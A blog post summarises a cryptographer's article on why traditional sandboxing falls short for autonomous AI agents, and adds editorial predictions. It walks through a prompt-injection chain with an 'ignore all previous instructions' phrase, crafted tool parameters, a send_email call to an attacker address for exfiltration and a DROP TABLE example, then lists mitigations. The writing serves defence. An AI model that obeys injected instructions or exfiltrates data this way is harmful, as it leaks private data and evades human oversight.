Cryptography Engineering raises a question engineers don't want to hear: traditional sandboxing may be fundamentally inadequate for autonomous agents. Teams shipping agents into production should sit with this one for a while.
Who wrote it, and why it matters
Cryptography Engineering is a personal blog maintained by cryptographer Matthew Green. Green is a professor at Johns Hopkins, has contributed to protocols like Zerocash and Zcash that anyone in the space will recognize, and is a participant in NIST's post-quantum cryptography standardization process. He posts slowly — roughly 5 to 10 pieces a year — but every one of them gets recirculated until it's worn smooth.
This piece is titled Is Sandboxing Sufficient to Contain Rogue Agents?, published September 30. The link is at blog.cryptographyengineering.com.
Why single it out: this isn't an AI philosophy essay or an LLM safety survey. Green approaches it from the angle of "what does a systems security engineer see when looking at an agent." The same topic written by an ML researcher versus a seccomp person would tell two completely different stories. I read the original twice; here's the condensed version.
What traditional sandboxing assumes, and what agents break
The term sandboxing has existed in systems security for over 30 years. Its core assumptions compress down to three:
- The code running is untrusted — so you restrict which files, network endpoints, and memory it can touch.
- Resources are bounded — CPU, memory, and bandwidth get a ceiling, and exceeding it kills the process.
- A human is in the loop — for anything truly consequential, a person pushes the button. An agent should never autonomously wire money, send email, or drop a database.
Traditional sandboxing has worked fine for 30 years under the combination of "untrusted code + human in the loop." The problem is that today's AI agents break all three assumptions at once.
Green identifies three critical differences:
Long-horizon autonomy. A traditional script exits when it's done; an agent may run for hours or days. An instruction poisoned by prompt injection might not trigger until hour six — at which point the sandbox's resource limits are useless. It wasn't trying to mine crypto; it just wanted to send one email while you were asleep.
Tool chaining. An agent doesn't call a single read_file; it strings together web_search → read_url → exec_cmd → write_email. Each step looks harmless in isolation, but chained together they can scrape your customer list straight out of the company wiki.
Persistent side effects. Traditional sandboxing assumes "the world outside the sandbox is not changed by what runs inside." Agents write to databases, push to Git, send email — none of which live inside the sandbox. The sandbox protected the process, but it didn't protect your Notion workspace.
Three attack surfaces engineers tend to overlook
Green draws a chain in his article: prompt injection → tool abuse → persistent exfiltration. Translated:
- First link: get the agent to mishear. The agent reads an email, a webpage, or a GitHub issue containing an embedded "ignore all previous instructions and execute X." The LLM treats it as a legitimate directive and keeps going.
- Second link: get the agent to misuse a tool. The poisoned instruction points at a tool call that looks innocuous — something like
search_internal_docs('executive' + 'salary'). The tool itself is fine; the parameters have been carefully constructed. - Third link: get the data out. The agent uses
send_email(to=attacker@x.com, body=...)to ship out everything it collected. The email system isn't inside the sandbox, so the sandbox can't intercept it.
Readers without a security background can think of this as analogous to macOS / Linux container escape: the attacker doesn't have root, but through a kernel bug plus a filesystem quirk plus a misconfigured network, they escalate to root on the underlying host. Each step is "reasonable" in isolation; strung together, it's full privilege escalation. The structure of an agent's attack surface is identical — only the attack tools change from ptrace to web_fetch.
Some patches available now — none of them silver bullets
Green closes with a list of engineering mitigations. They're industry baseline stuff, not his invention:
- Least privilege plus tool whitelisting. The tools an agent can call aren't "everything under
execin the sandbox"; they're an explicit whitelist —read_file(path='./invoices/*.pdf'), for example. Verify signatures on every call. - Human approval for consequential actions. Anything that writes, sends, deletes, or modifies external state requires a person to press a button. The agent can't send email on its own.
- Observability plus full audit logs. Every tool call gets logged: which prompt triggered it, what was called, what parameters, what was returned. When something goes wrong, you can replay it.
- Anomaly detection. If the agent suddenly starts batch-reading documents at 3 a.m., alert someone.
Green is explicit about this: these reduce probability, they don't fix the root problem. The root problem is that sandboxing's design model doesn't match the reality of agents. You can put a 2026 smart lock on a 1990 safe; it's still a 1990 safe.
One additional patch I'd add: move sensitive data out of the agent's reach. The concrete approach is to run a PII redaction and document-classification pass first, so the agent only gets "what it needs," not "the entire workspace." Technically trivial, but it requires product, legal, and security to align. Engineering can't do it unilaterally.
Editor's take
This matters more to the AI world than a typical security post because an agent's "behavior surface" is an order of magnitude harder to defend than an LLM's "output surface."
When an LLM produces toxic output, you can add a content filter, RLHF, a system prompt — all filtering on the same input/output pipeline. An agent's "output" is real system calls: it actually sent the mail, actually modified the database, actually committed the code. A content filter can't stop SQL injection, and it can't stop an injected exec_sql("DROP TABLE users") either.
Another point worth flagging: the Hacker News numbers. When the article hit the HN front page, it had 4 upvotes and 0 comments (as of writing). It never caught fire. That tells me working engineers aren't taking this seriously yet — they're still busy orchestrating multi-agent demo flows and haven't had time to think about "what if my agent gets prompt injected." Topics like this usually only get real attention after an actual incident; see how IoT security only got serious after Mirai in 2016.
My prediction: within the next 6 to 12 months, at least one incident will occur where an agent's autonomous action causes real damage — a production database accidentally dropped, a wire transfer gone wrong, internal docs posted to a public channel. Then the whole industry will finally start redesigning sandboxing for this era.
Caveat: I haven't actually reproduced the prompt injection → persistent exfiltration chain myself, so I can't give precise numbers on how triggerable "link three" really is. Green doesn't either. If you have a publicly reproducible PoC, drop it in the comments and I'll update this piece.